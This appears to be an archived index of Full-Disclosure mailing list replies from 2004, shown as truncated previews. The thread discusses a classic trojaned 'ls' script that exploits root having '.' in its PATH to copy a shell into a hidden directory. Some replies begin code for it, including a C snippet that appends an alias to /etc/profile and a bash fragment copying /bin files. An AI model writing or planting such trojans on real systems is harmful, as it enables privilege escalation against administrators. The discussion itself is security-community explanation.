Re: [Full-Disclosure] Old LS Trojan?

2004-12-01 Thread J.A. Terranson
> David S. Morgan wrote: > > Hey all, > > > > I am looking for an old LS trojan, with trojan being a misnomer. > > Essentially, the scinario is that the admin (root) has a . (dot) in > > his path. The bad-user knows this, and has crafted an LS shell script > > (the part that I can't find) that e

Re: [Full-Disclosure] Old LS Trojan?

2004-12-01 Thread [EMAIL PROTECTED]
you could just whip one up, for demonstration purposes this would be funny without doing any harm. just fix /etc/profile when your done. #ls.c compile with gcc -o ls ls.c #include int x; main(){ printf("You've been hacked!\n"); system("echo alias ls='\"echo \\n\"' >>/etc/profile"); sys

Re: [Full-Disclosure] Old LS Trojan?

2004-12-01 Thread Scott Renna
LOL. That CISSP totally rocks. Scott Renna CISSP, GCIA, GCIH Kevin Finisterre wrote: You should think a CISSP could write such a script in like 5 minutes. David S. Morgan wrote: Hey all, I am looking for an old LS trojan, with trojan being a misnomer. Essentially, the scinario is that the admin

Re: [Full-Disclosure] Old LS Trojan?

2004-12-01 Thread Valdis . Kletnieks
On Wed, 01 Dec 2004 15:11:46 EST, "David S. Morgan" said: > I am looking for an old LS trojan, with trojan being a misnomer. Essentially , the scinario is that the admin (root) has a . (dot) in his path. Geez. I don't have it, but it's easy enough to write. % cat > ./ls !!/bin/bash /bin/cp /bi

Re: [Full-Disclosure] Old LS Trojan?

2004-12-01 Thread Andrew Farmer
On 01 Dec 2004, at 12:11, David S. Morgan wrote: I am looking for an old LS trojan, with trojan being a misnomer. Essentially, the scinario is that the admin (root) has a . (dot) in his path. The bad-user knows this, and has crafted an LS shell script (the part that I can't find) that essentia

Re: [Full-Disclosure] Old LS Trojan?

2004-12-01 Thread Kevin Finisterre
You should think a CISSP could write such a script in like 5 minutes. David S. Morgan wrote: Hey all, I am looking for an old LS trojan, with trojan being a misnomer. Essentially, the scinario is that the admin (root) has a . (dot) in his path. The bad-user knows this, and has crafted an LS she

[Full-Disclosure] Old LS Trojan?

2004-12-01 Thread David S. Morgan
Hey all, I am looking for an old LS trojan, with trojan being a misnomer. Essentially, the scinario is that the admin (root) has a . (dot) in his path. The bad-user knows this, and has crafted an LS shell script (the part that I can't find) that essentially copies /sbin/sh to a hidden directo